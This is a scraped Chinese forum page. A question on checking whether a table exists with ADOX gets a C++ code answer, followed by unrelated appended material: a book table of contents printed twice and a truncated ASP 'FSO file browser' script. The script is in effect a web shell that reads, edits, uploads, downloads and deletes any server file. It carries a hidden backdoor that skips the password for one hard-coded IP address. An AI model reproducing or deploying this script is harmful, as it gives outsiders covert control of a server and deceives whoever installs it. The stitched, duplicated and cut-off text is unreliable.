如何在ADOX中判断一个表是否存在?

chenyingshu 2009-04-26 02:22:33
如题。最近在做数据库
...全文
101 2 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
chenyingshu 2009-04-26
  • 打赏
  • 举报
回复
正在测试中....晚上来结贴。biweilun稍安勿躁
biweilun 2009-04-26
  • 打赏
  • 举报
回复
HoHo,上个星期刚答过的帖子,把代码翻了出来

#include <adoint.h> #include <adoctint.h>
#include <comdef.h>
#include <shwapi.h>
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "shlwapi.lib")

CComPtr<ADOCatalog>Catalog;
HRESULT hr = Catalog.CoCreateInstance(L"ADOX.Catalog");
if (FAILED(hr))
{
throw _com_error(hr, NULL);
}

static const TCHAR szConnStr[] =
_T("Provider=Microsoft.Jet.OLEDB.4.0;")
_T("Data Source=C:\\TEST1.MDB;");

CComVariant varConn;
hr = Catalog->Create(CComBSTR(szConnStr), &varConn);

CComPtr<ADOTables>Tables = NULL;
Catalog->get_Tables(&Tables);
CComPtr<ADOTable>Table = NULL;
Tables->get_Item(CComVariant(_T("Table Name")), &Table);

if(Table!=NULL)
{
//MessageBox("制定的表存在");
}


Excel VBA与数据库整合应用范例精讲(范例文件代码) 内容简介   《Excel VBA 数据库整合应用范例精讲》用180个实例介绍了利用Excel VBA来操作数据库(包括Access、SQL Server和FoxPro)的实用方法和技巧。   全书共11章。第1~6章是利用Excel VBA操作Access数据库的实例;第7~8章是利用Excel VBA操作SQL Server数据库和FoxPro数据库的方法和技巧实例;第9~10章是将工作簿当作数据库以及将文本文件当作数据库进行操作的方法和技巧实例。第11章以一个具有较大使用价值的固定资产管理系统为案例,详细介绍Excel VBA开发管理系统的过程。每个实例分析透彻,代码完整,技巧全面,使用得心应手。 目录 第1章 动态创建Access数据库和数据 实例1-1 利用DAO创建数据库和数据 实例1-2 利用ADOX创建数据库和数据 实例1-3 利用SQL语句创建数据库和数据 实例1-4 在已有的数据库创建数据(DAO) 实例1-5 在已有的数据库创建数据ADOX) 实例1-6 在已有的数据库创建数据(SQL,Command对象) 实例1-7 在已有的数据库创建数据(SQL,Recordset对象) 实例1-8 利用Access对象创建数据库和数据 实例1-9 利用Access对象在已有的数据库创建数据 实例1-10 利用工作数据创建数据ADOX) 实例1-11 利用工作数据创建数据ADO+SQL) 实例1-12 利用工作数据创建数据(DAO) 实例1-13 利用已有的数据创建新数据ADO) 实例1-14 利用已有的数据创建新数据(DAO) 实例1-15 利用已有的数据创建新数据(Access) 第2章 获取Access数据库信息 实例2-1 检查数据是否存在ADO) 实例2-2 检查数据是否存在ADOX) 实例2-3 检查数据是否存在(DAO) 实例2-4 检查数据是否存在(Access) 实例2-5 获取数据库所有的名称和类型(ADO) 实例2-6 获取数据库所有的名称和类型(ADOX) 实例2-7 获取数据库所有的名称(DAO) 实例2-8 获取数据库所有数据名称(ADO) 实例2-9 获取数据库所有数据名称(ADOX) 实例2-10 获取数据库所有数据名称(DAO) 实例2-11 获取数据库所有数据名称(Access) 实例2-12 检查某字段是否存在ADO) 实例2-13 检查某字段是否存在ADOX) 实例2-14 检查某字段是否存在(DAO) 实例2-15 检查某字段是否存在(Access) 实例2-16 获取数据库某数据的所有字段信息(ADO) 实例2-17 获取数据库某数据的所有字段信息(ADOX) 实例2-18 获取数据库某数据的所有字段信息(DAO) 实例2-19 获取数据库某数据的所有字段信息(Access) 实例2-20 获取数据库的所有查询信息(ADOX) 实例2-21 获取数据库的所有查询信息(DAO) 实例2-22 获取数据库的模式信息(OpenSchema) 实例2-23 获取的创建日期和最后更新日期(ADOX) 实例2-24 获取的创建日期和最后更新日期(DAO) 第3章 查询获取Access数据库记录数据 实例3-1 将数据库记录数据全部导入到Excel工作ADO,之一) 实例3-2 将数据库记录数据全部导入到Excel工作ADO,之二) 实例3-3 将数据库记录数据全部导入到Excel工作ADO,之三) 实例3-4 将数据库记录数据全部导入到Excel工作(DAO,之一) 实例3-5 将数据库记录数据全部导入到Excel工作(DAO,之二) 实例3-6 将数据库记录数据全部导入到Excel工作(QueryTable集合) 实例3-7 将数据库的某些字段的记录数据导入到Excel工作ADO) 实例3-8 将数据库的某些字段记录数据导入到Excel工作(DAO) 实例3-9 查询前面的若干条记录(全部字段)(TOP) 实例3-10 查询前面的若干条记录(部分字段)(TOP) 实例3-11 查询不重复的字段记录(DISTINCT) 实例3-12 利用Like运算符进行模糊查询 实例3-13 查询某一区间内的记录(BETWEEN) 实例3-14 查询存在于某个集合里面的记录(IN) 实例3-15 将查询结果进行排序(ORDER BY) 实例3-16 进行复杂条件的查询(WHERE) 实例3-17 利用合计函数进行查询(查询最大值和最小值) 实例3-18 利用合计函数进行查询(查询合计值和平均值) 实例3-19 将一个查询结果作为查询条件进行查询 实例3-20 将查询结果进行分组(GROUP BY) 实例3-21 将查询结果进行分组(HAVING) 实例3-22 通过计算列进行查询 实例3-23 使用IS NULL运算符进行查询 实例3-24 使用COUNT函数进行查询 实例3-25 使用FIRST函数与LAST函数查询第一条记录和最后一条记录的字段 实例3-26 使用Parameters参数动态查询记录(DAO):指定单个参数 实例3-27 使用Parameters参数动态查询记录(DAO):指定多个参数 实例3-28 使用Parameters参数动态查询记录(ADO):指定单个参数 实例3-29 使用Parameters参数动态查询记录(ADO):指定多个参数 实例3-30 使用别名查询数据库 实例3-31 将查询结果作为窗体控件的源数据 实例3-32 通过窗体控件查询浏览数据库记录 实例3-33 多查询(WHERE连接) 实例3-34 多查询(内连接INNER JOINT) 实例3-35 多查询(左外连接LEFT OUTER JOINT) 实例3-36 多查询(右外连接RIGHT OUTER JOINT) 实例3-37 多查询(子查询WHERE,ANY,SOME) 实例3-38 多查询(子查询EXISTS,NOT EXISTS) 实例3-39 从两个数据查询出都存在的记录 实例3-40 从两个数据查询出只存在于某个数据的记录 实例3-41 将查询结果生成一个数据 实例3-42 将查询结果保存为一个XML文件 实例3-43 利用工作实现记录的分页显示 实例3-44 利用窗体实现记录的分页显示 第4章 编辑Access数据库数据 实例4-1 添加新记录(ADO+AddNew) 实例4-2 添加新记录(ADO+SQL) 实例4-3 添加新记录(DAO+AddNew) 实例4-4 添加新记录(DAO+SQL) 实例4-5 添加新记录(Access+SQL) 实例4-6 修改更新特定记录(ADO+SQL) 实例4-7 修改更新特定记录(DAO+SQL) 实例4-8 修改更新特定记录(Access+SQL) 实例4-9 修改更新全部记录(ADO+SQL) 实例4-10 修改更新全部记录(DAO+SQL) 实例4-11 修改更新全部记录(Access+SQL) 实例4-12 删除特定记录(ADO+SQL) 实例4-13 删除特定记录(DAO+SQL) 实例4-14 删除特定记录(Access+SQL) 实例4-15 删除全部记录(ADO+SQL) 实例4-16 删除全部记录(DAO+SQL) 实例4-17 删除全部记录(Access+SQL) 实例4-18 通过窗体编辑记录 第5章 将Excel工作数据导入到Access数据库 实例5-1 将整个工作数据都保存为新Access数据库(Access) 实例5-2 将工作的某些区域数据保存为新Access数据库(Access) 实例5-3 将工作簿的所有工作数据分别保存为不同的数据(Access) 实例5-4 将多个工作簿的某个工作数据汇总为新Access数据库(Access) 实例5-5 将多个工作簿的某个工作数据保存为不同的数据(Access) 实例5-6 将工作数据保存到已有的Access数据库(循环方式)(ADO) 实例5-7 将工作数据保存到已有的Access数据库(循环方式)(DAO) 实例5-8 将工作数据保存到已有的Access数据库(数组方式)(ADO) 实例5-9 将工作数据保存到已有的Access数据库(数组方式)(DAO) 实例5-10 将工作簿的所有工作数据分别保存为不同的数据ADO) 实例5-11 将工作簿的所有工作数据分别保存为不同的数据(DAO) 第6章 操作Access数据 实例6-1 打开数据库和数据(GetObject函数) 实例6-2 打开数据库和数据(CreateObject函数) 实例6-3 删除数据ADO) 实例6-4 删除数据ADOX) 实例6-5 删除数据(DAO+DELETE) 实例6-6 删除数据(DAO+SQL) 实例6-7 删除数据(Access) 实例6-8 为数据增加字段(ADO) 实例6-9 为数据增加字段(ADOX) 实例6-10 为数据增加字段(DAO) 实例6-11 为数据增加字段(Access) 实例6-12 删除字段(ADO) 实例6-13 删除字段(ADOX) 实例6-14 删除字段(DAO) 实例6-15 删除字段(Access) 实例6-16 改变字段的类型(ADO) 实例6-17 改变字段的类型(DAO) 实例6-18 改变字段的类型(Access) 实例6-19 改变字段的长度(ADO) 实例6-20 改变字段的长度(DAO) 实例6-21 改变字段的长度(Access) 实例6-22 重命名数据(Access) 实例6-23 复制数据(Access) 实例6-24 复制数据ADO) 实例6-25 复制数据(DAO) 实例6-26 通过窗体维护数据库 第7章 操作SQL Server数据库 实例7-1 判断SQL Server数据库是否存在ADO) 实例7-2 检查数据是否存在ADOX) 实例7-3 创建新的SQL Server数据库和数据ADO) 实例7-4 在已有的SQL Server数据库创建数据ADO) 实例7-5 从SQL Server数据库服务器删除数据库(ADO) 实例7-6 从SQL Server数据库删除数据ADO) 实例7-7 将SQL Server数据库的数据导入到Excel工作ADO) 实例7-8 将SQL Server数据库的数据导入到Excel工作(DAO) 实例7-9 查询获取SQL Server数据库的数据(ADO) 实例7-10 查询获取SQL Server数据库的数据(DAO) 实例7-11 将工作数据导入到SQL Server数据库(ADO) 实例7-12 向SQL Server数据库添加记录的一般方法 实例7-13 将SQL Server数据库转换为Access数据库 实例7-14 将Access数据库转换为SQL Server数据库 第8章 操作FoxPro数据库 实例8-1 将FoxPro数据库全部数据导入到Excel工作 实例8-2 查询获取FoxPro数据库数据 实例8-3 将Excel工作数据保存到FoxPro数据库 实例8-4 判断FoxPro数据库的字段是否存在 实例8-5 获取FoxPro数据库的字段信息 第9章 将Excel工作簿当作数据库来操作 实例9-1 从工作簿的某个工作查询获取数据(ADO) 实例9-2 从工作簿的全部工作查询获取数据(ADO) 实例9-3 利用DAO从工作查询数据 实例9-4 查询其他工作簿的数据(ADO) 实例9-5 获取其他工作簿的工作名称清单(ADOX) 实例9-6 利用ADO对工作数据进行多重排序 实例9-7 利用ADO按照字符的长度对数据进行排序 实例9-8 比较两张,将两个相同的行数据抓取出来 实例9-9 比较两张,将只存在于某个的行数据抓取出来 实例9-10 删除工作数据区域内的所有空行 第10章 将文本文件当作数据库来操作 实例10-1 利用ADO导入文本文件的全部内容 实例10-2 利用DAO导入文本文件的全部内容 实例10-3 利用ADO导入文本文件的部分内容 实例10-4 利用DAO导入文本文件的部分内容 实例10-5 利用ADO获取文本文件的行数和列数 实例10-6 利用ADO将超过65536行的文本文件数据导入到Excel工作 实例10-7 将工作全部数据保存为文本文件(SaveAs) 实例10-8 将工作全部数据保存为文本文件(循环) 实例10-9 将数据库数据导出为文本文件 实例10-10 将文本文件保存为Access数据库(Access) 实例10-11 将文本文件保存为Access数据库(ADO+ADOX) 第11章 Excel VBA开发数据库管理系统 11.1 固定资产管理系统的总体设计 11.1.1 固定资产管理系统功能模块 11.1.2 固定资产管理系统数据库和数据的设计 11.1.3 设计系统工作簿 11.1.4 设计系统的自定义菜单 11.1.5 引用对象库 11.2 系统管理模块设计 11.2.1 用户名和密码的保存 11.2.2 “用户登录”窗口结构设计 11.2.3 “用户登录”窗体程序代码设计 11.2.4 “修改用户名”窗体结构设计 11.2.5 “修改用户名”窗体的程序代码设计 11.2.6 “修改密码”窗体结构设计 11.2.7 “修改密码”窗体的程序代码设计 11.3 基础资料管理模块设计 11.4 固定资产日常管理模块设计 11.4.1 固定资产日常管理窗体的结构设计 11.4.2 固定资产日常管理窗体的程序代码设计 11.4.3 “固定资产查询”窗体的结构设计 11.4.4 “固定资产查询窗体”的程序代码设计 11.4.5 固定资产日常管理模块的应用 11.5 报输出模块设计 11.5.1 固定资产折旧计算方法 11.5.2 生成固定资产卡片子模块的设计 11.5.3 生成统计报子模块的设计 11.5.4 生成固定资产折旧子模块的设计 11.5.5 编制折旧费用分配子模块的设计 11.6 系统菜单转换模块的设计 11.6.1 恢复Excel系统菜单 11.6.2 恢复固定资产管理系统自定义菜单 11.7 为工作簿指定Open和BeforeClose事件 11.7.1 为工作簿指定Open事件 11.7.2 为工作簿指定BeforeClose事件
Excel VBA与数据库整合应用范例精讲(书及范例源代码) 内容简介   《Excel VBA 数据库整合应用范例精讲》用180个实例介绍了利用Excel VBA来操作数据库(包括Access、SQL Server和FoxPro)的实用方法和技巧。   全书共11章。第1~6章是利用Excel VBA操作Access数据库的实例;第7~8章是利用Excel VBA操作SQL Server数据库和FoxPro数据库的方法和技巧实例;第9~10章是将工作簿当作数据库以及将文本文件当作数据库进行操作的方法和技巧实例。第11章以一个具有较大使用价值的固定资产管理系统为案例,详细介绍Excel VBA开发管理系统的过程。每个实例分析透彻,代码完整,技巧全面,使用得心应手。 目录 第1章 动态创建Access数据库和数据 实例1-1 利用DAO创建数据库和数据 实例1-2 利用ADOX创建数据库和数据 实例1-3 利用SQL语句创建数据库和数据 实例1-4 在已有的数据库创建数据(DAO) 实例1-5 在已有的数据库创建数据ADOX) 实例1-6 在已有的数据库创建数据(SQL,Command对象) 实例1-7 在已有的数据库创建数据(SQL,Recordset对象) 实例1-8 利用Access对象创建数据库和数据 实例1-9 利用Access对象在已有的数据库创建数据 实例1-10 利用工作数据创建数据ADOX) 实例1-11 利用工作数据创建数据ADO+SQL) 实例1-12 利用工作数据创建数据(DAO) 实例1-13 利用已有的数据创建新数据ADO) 实例1-14 利用已有的数据创建新数据(DAO) 实例1-15 利用已有的数据创建新数据(Access) 第2章 获取Access数据库信息 实例2-1 检查数据是否存在ADO) 实例2-2 检查数据是否存在ADOX) 实例2-3 检查数据是否存在(DAO) 实例2-4 检查数据是否存在(Access) 实例2-5 获取数据库所有的名称和类型(ADO) 实例2-6 获取数据库所有的名称和类型(ADOX) 实例2-7 获取数据库所有的名称(DAO) 实例2-8 获取数据库所有数据名称(ADO) 实例2-9 获取数据库所有数据名称(ADOX) 实例2-10 获取数据库所有数据名称(DAO) 实例2-11 获取数据库所有数据名称(Access) 实例2-12 检查某字段是否存在ADO) 实例2-13 检查某字段是否存在ADOX) 实例2-14 检查某字段是否存在(DAO) 实例2-15 检查某字段是否存在(Access) 实例2-16 获取数据库某数据的所有字段信息(ADO) 实例2-17 获取数据库某数据的所有字段信息(ADOX) 实例2-18 获取数据库某数据的所有字段信息(DAO) 实例2-19 获取数据库某数据的所有字段信息(Access) 实例2-20 获取数据库的所有查询信息(ADOX) 实例2-21 获取数据库的所有查询信息(DAO) 实例2-22 获取数据库的模式信息(OpenSchema) 实例2-23 获取的创建日期和最后更新日期(ADOX) 实例2-24 获取的创建日期和最后更新日期(DAO) 第3章 查询获取Access数据库记录数据 实例3-1 将数据库记录数据全部导入到Excel工作ADO,之一) 实例3-2 将数据库记录数据全部导入到Excel工作ADO,之二) 实例3-3 将数据库记录数据全部导入到Excel工作ADO,之三) 实例3-4 将数据库记录数据全部导入到Excel工作(DAO,之一) 实例3-5 将数据库记录数据全部导入到Excel工作(DAO,之二) 实例3-6 将数据库记录数据全部导入到Excel工作(QueryTable集合) 实例3-7 将数据库的某些字段的记录数据导入到Excel工作ADO) 实例3-8 将数据库的某些字段记录数据导入到Excel工作(DAO) 实例3-9 查询前面的若干条记录(全部字段)(TOP) 实例3-10 查询前面的若干条记录(部分字段)(TOP) 实例3-11 查询不重复的字段记录(DISTINCT) 实例3-12 利用Like运算符进行模糊查询 实例3-13 查询某一区间内的记录(BETWEEN) 实例3-14 查询存在于某个集合里面的记录(IN) 实例3-15 将查询结果进行排序(ORDER BY) 实例3-16 进行复杂条件的查询(WHERE) 实例3-17 利用合计函数进行查询(查询最大值和最小值) 实例3-18 利用合计函数进行查询(查询合计值和平均值) 实例3-19 将一个查询结果作为查询条件进行查询 实例3-20 将查询结果进行分组(GROUP BY) 实例3-21 将查询结果进行分组(HAVING) 实例3-22 通过计算列进行查询 实例3-23 使用IS NULL运算符进行查询 实例3-24 使用COUNT函数进行查询 实例3-25 使用FIRST函数与LAST函数查询第一条记录和最后一条记录的字段 实例3-26 使用Parameters参数动态查询记录(DAO):指定单个参数 实例3-27 使用Parameters参数动态查询记录(DAO):指定多个参数 实例3-28 使用Parameters参数动态查询记录(ADO):指定单个参数 实例3-29 使用Parameters参数动态查询记录(ADO):指定多个参数 实例3-30 使用别名查询数据库 实例3-31 将查询结果作为窗体控件的源数据 实例3-32 通过窗体控件查询浏览数据库记录 实例3-33 多查询(WHERE连接) 实例3-34 多查询(内连接INNER JOINT) 实例3-35 多查询(左外连接LEFT OUTER JOINT) 实例3-36 多查询(右外连接RIGHT OUTER JOINT) 实例3-37 多查询(子查询WHERE,ANY,SOME) 实例3-38 多查询(子查询EXISTS,NOT EXISTS) 实例3-39 从两个数据查询出都存在的记录 实例3-40 从两个数据查询出只存在于某个数据的记录 实例3-41 将查询结果生成一个数据 实例3-42 将查询结果保存为一个XML文件 实例3-43 利用工作实现记录的分页显示 实例3-44 利用窗体实现记录的分页显示 第4章 编辑Access数据库数据 实例4-1 添加新记录(ADO+AddNew) 实例4-2 添加新记录(ADO+SQL) 实例4-3 添加新记录(DAO+AddNew) 实例4-4 添加新记录(DAO+SQL) 实例4-5 添加新记录(Access+SQL) 实例4-6 修改更新特定记录(ADO+SQL) 实例4-7 修改更新特定记录(DAO+SQL) 实例4-8 修改更新特定记录(Access+SQL) 实例4-9 修改更新全部记录(ADO+SQL) 实例4-10 修改更新全部记录(DAO+SQL) 实例4-11 修改更新全部记录(Access+SQL) 实例4-12 删除特定记录(ADO+SQL) 实例4-13 删除特定记录(DAO+SQL) 实例4-14 删除特定记录(Access+SQL) 实例4-15 删除全部记录(ADO+SQL) 实例4-16 删除全部记录(DAO+SQL) 实例4-17 删除全部记录(Access+SQL) 实例4-18 通过窗体编辑记录 第5章 将Excel工作数据导入到Access数据库 实例5-1 将整个工作数据都保存为新Access数据库(Access) 实例5-2 将工作的某些区域数据保存为新Access数据库(Access) 实例5-3 将工作簿的所有工作数据分别保存为不同的数据(Access) 实例5-4 将多个工作簿的某个工作数据汇总为新Access数据库(Access) 实例5-5 将多个工作簿的某个工作数据保存为不同的数据(Access) 实例5-6 将工作数据保存到已有的Access数据库(循环方式)(ADO) 实例5-7 将工作数据保存到已有的Access数据库(循环方式)(DAO) 实例5-8 将工作数据保存到已有的Access数据库(数组方式)(ADO) 实例5-9 将工作数据保存到已有的Access数据库(数组方式)(DAO) 实例5-10 将工作簿的所有工作数据分别保存为不同的数据ADO) 实例5-11 将工作簿的所有工作数据分别保存为不同的数据(DAO) 第6章 操作Access数据 实例6-1 打开数据库和数据(GetObject函数) 实例6-2 打开数据库和数据(CreateObject函数) 实例6-3 删除数据ADO) 实例6-4 删除数据ADOX) 实例6-5 删除数据(DAO+DELETE) 实例6-6 删除数据(DAO+SQL) 实例6-7 删除数据(Access) 实例6-8 为数据增加字段(ADO) 实例6-9 为数据增加字段(ADOX) 实例6-10 为数据增加字段(DAO) 实例6-11 为数据增加字段(Access) 实例6-12 删除字段(ADO) 实例6-13 删除字段(ADOX) 实例6-14 删除字段(DAO) 实例6-15 删除字段(Access) 实例6-16 改变字段的类型(ADO) 实例6-17 改变字段的类型(DAO) 实例6-18 改变字段的类型(Access) 实例6-19 改变字段的长度(ADO) 实例6-20 改变字段的长度(DAO) 实例6-21 改变字段的长度(Access) 实例6-22 重命名数据(Access) 实例6-23 复制数据(Access) 实例6-24 复制数据ADO) 实例6-25 复制数据(DAO) 实例6-26 通过窗体维护数据库 第7章 操作SQL Server数据库 实例7-1 判断SQL Server数据库是否存在ADO) 实例7-2 检查数据是否存在ADOX) 实例7-3 创建新的SQL Server数据库和数据ADO) 实例7-4 在已有的SQL Server数据库创建数据ADO) 实例7-5 从SQL Server数据库服务器删除数据库(ADO) 实例7-6 从SQL Server数据库删除数据ADO) 实例7-7 将SQL Server数据库的数据导入到Excel工作ADO) 实例7-8 将SQL Server数据库的数据导入到Excel工作(DAO) 实例7-9 查询获取SQL Server数据库的数据(ADO) 实例7-10 查询获取SQL Server数据库的数据(DAO) 实例7-11 将工作数据导入到SQL Server数据库(ADO) 实例7-12 向SQL Server数据库添加记录的一般方法 实例7-13 将SQL Server数据库转换为Access数据库 实例7-14 将Access数据库转换为SQL Server数据库 第8章 操作FoxPro数据库 实例8-1 将FoxPro数据库全部数据导入到Excel工作 实例8-2 查询获取FoxPro数据库数据 实例8-3 将Excel工作数据保存到FoxPro数据库 实例8-4 判断FoxPro数据库的字段是否存在 实例8-5 获取FoxPro数据库的字段信息 第9章 将Excel工作簿当作数据库来操作 实例9-1 从工作簿的某个工作查询获取数据(ADO) 实例9-2 从工作簿的全部工作查询获取数据(ADO) 实例9-3 利用DAO从工作查询数据 实例9-4 查询其他工作簿的数据(ADO) 实例9-5 获取其他工作簿的工作名称清单(ADOX) 实例9-6 利用ADO对工作数据进行多重排序 实例9-7 利用ADO按照字符的长度对数据进行排序 实例9-8 比较两张,将两个相同的行数据抓取出来 实例9-9 比较两张,将只存在于某个的行数据抓取出来 实例9-10 删除工作数据区域内的所有空行 第10章 将文本文件当作数据库来操作 实例10-1 利用ADO导入文本文件的全部内容 实例10-2 利用DAO导入文本文件的全部内容 实例10-3 利用ADO导入文本文件的部分内容 实例10-4 利用DAO导入文本文件的部分内容 实例10-5 利用ADO获取文本文件的行数和列数 实例10-6 利用ADO将超过65536行的文本文件数据导入到Excel工作 实例10-7 将工作全部数据保存为文本文件(SaveAs) 实例10-8 将工作全部数据保存为文本文件(循环) 实例10-9 将数据库数据导出为文本文件 实例10-10 将文本文件保存为Access数据库(Access) 实例10-11 将文本文件保存为Access数据库(ADO+ADOX) 第11章 Excel VBA开发数据库管理系统 11.1 固定资产管理系统的总体设计 11.1.1 固定资产管理系统功能模块 11.1.2 固定资产管理系统数据库和数据的设计 11.1.3 设计系统工作簿 11.1.4 设计系统的自定义菜单 11.1.5 引用对象库 11.2 系统管理模块设计 11.2.1 用户名和密码的保存 11.2.2 “用户登录”窗口结构设计 11.2.3 “用户登录”窗体程序代码设计 11.2.4 “修改用户名”窗体结构设计 11.2.5 “修改用户名”窗体的程序代码设计 11.2.6 “修改密码”窗体结构设计 11.2.7 “修改密码”窗体的程序代码设计 11.3 基础资料管理模块设计 11.4 固定资产日常管理模块设计 11.4.1 固定资产日常管理窗体的结构设计 11.4.2 固定资产日常管理窗体的程序代码设计 11.4.3 “固定资产查询”窗体的结构设计 11.4.4 “固定资产查询窗体”的程序代码设计 11.4.5 固定资产日常管理模块的应用 11.5 报输出模块设计 11.5.1 固定资产折旧计算方法 11.5.2 生成固定资产卡片子模块的设计 11.5.3 生成统计报子模块的设计 11.5.4 生成固定资产折旧子模块的设计 11.5.5 编制折旧费用分配子模块的设计 11.6 系统菜单转换模块的设计 11.6.1 恢复Excel系统菜单 11.6.2 恢复固定资产管理系统自定义菜单 11.7 为工作簿指定Open和BeforeClose事件 11.7.1 为工作簿指定Open事件 11.7.2 为工作簿指定BeforeClose事件
<% '========================== 版权声明 ========================= '本程序只供在需要特别处理服务器文件时使用,严禁用于非法目的 '由于非正当使用本程序而造成的一切后果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关,万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO文件浏览器 - 系统磁盘信息
FSO文件浏览器 - 系统磁盘信息
<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>
盘符类型卷标文件系统总容量可用空间
"&oDrive.DriveLetter&""&getDriveType(oDrive.DriveType)&""&oDrive.VolumeName&""&oDrive.FileSystem&""&SizeCount(oDrive.TotalSize)&""&SizeCount(oDrive.FreeSpace)&"
<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO文件浏览器 - 新建 <script language="JavaScript"> function icheck() { if(document.rform.nname.value=="") { alert("请输入合法的文件名!"); return false; } else return true; }
FSO文件浏览器 - 新建
类型:文件夹 文件
名称:
 
<% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "<script language='javascript'>alert('文件夹不存在!');history.back();alert('文件或文件夹已存在!');history.back();alert('新建文件夹或文本文件成功!');window.close();alert('您编辑的不是文件或文件不存在!');window.close(); FSO文件浏览器 - 编辑文本文件
FSO文件浏览器 - 编辑文本文件
文件名: <% =Fname %>
<% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功!" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功,请粘贴!" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切!" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹在源文件夹内,非法操作!" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存在!" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存在!" Exit Sub End If '================ EchoClose "复制或移动成功!刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存在!" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M,可能会造成服务器死机,\n不允许以Stream方式下载!\n请将该文件复制到网站目录以下\n然后以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存在" Exit Sub End If EchoClose "文件删除成功!" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If %> FSO文件浏览器 - 文件上传 <script language="JavaScript"> function getSaveName() { var filepath=document.uform.upload.value; if(filepath.length<1) return; var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length); document.uform.ffname.value=filename; }
FSO文件浏览器 - 文件上传
上传文件:
保存为: 覆盖模式
 
